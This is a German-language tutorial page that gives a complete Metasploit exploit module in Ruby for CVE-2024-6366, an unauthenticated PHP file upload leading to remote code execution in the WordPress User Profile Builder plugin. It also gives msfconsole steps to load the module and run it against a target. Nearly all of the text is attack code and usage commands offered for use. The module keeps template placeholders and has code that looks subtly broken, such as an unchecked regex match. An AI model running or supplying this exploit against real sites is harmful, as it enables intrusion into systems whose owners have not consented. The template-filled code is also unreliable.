
Metasploit-Exploit-Modul für CVE-2024-6366, eine nicht authentifizierte Datei-Upload-Remote-Code-Ausführung in WordPress User Profile Builder vor 3.11.8, die eine PHP-Payload hochlädt und ausführt.
Um ein Metasploit-Modul zu erstellen, um die RCE-Sicherheitslücke im WordPress-Plugin User Profile Builder vor Version 3.11.8 auszunutzen, müssen wir die fehlende ordnungsgemäße Autorisierung in der Funktion zum Hochladen von Mediendateien ausnutzen. Hier erfahren Sie, wie Sie ein solches Metasploit-Modul erstellen können:
Speichern Sie den folgenden Code als wordpress_user_profile_builder_rce.rb im Verzeichnis modules/exploits/unix/webapp Ihrer Metasploit Framework-Installation.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-6366'], # Replace with the actual CVE identifier
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'WordPress User Profile Builder < 3.11.8', {} ]
],
'DisclosureDate' => 'Aug 03 2024',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?('wp-content/plugins/user-profile-builder')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
php_payload = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
data.add_part('1', nil, nil, 'form-data; name="html-upload"')
data.add_part('Upload', nil, nil, 'form-data; name="upload"')
print_status("Uploading PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?('.php')
php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
print_good("Payload uploaded successfully: #{php_path}")
register_files_for_cleanup(php_path)
execute_command("#{php_path}")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end
def execute_command(php_path)
print_status("Executing PHP payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_path)
})
end
end
Modul speichern:
Speichern Sie das Modul als wordpress_user_profile_builder_rce.rb im Verzeichnis modules/exploits/unix/webapp Ihrer Metasploit Framework-Installation.
/path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
Metasploit laden: Starten Sie das Metasploit Framework, indem Sie ein Terminal öffnen und Folgendes ausführen:
msfconsole
Neues Modul verwenden: Laden Sie in der Metasploit-Konsole das neue Exploit-Modul mit dem folgenden Befehl:
use exploit/unix/webapp/wordpress_user_profile_builder_rce
Konfigurieren und ausführen:
Stellen Sie die erforderlichen Optionen ein, wie z.B. RHOSTS und TARGETURI. Führen Sie dann das Exploit aus.
msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
Dieses Metasploit-Modul lädt eine schädliche PHP-Datei auf die anfällige WordPress-Installation hoch und führt sie dann aus, um eine Remote-Codeausführung zu erreichen. Passen Sie das Payload und das Modul je nach Art der Schwachstelle und der Zielumgebung entsprechend an.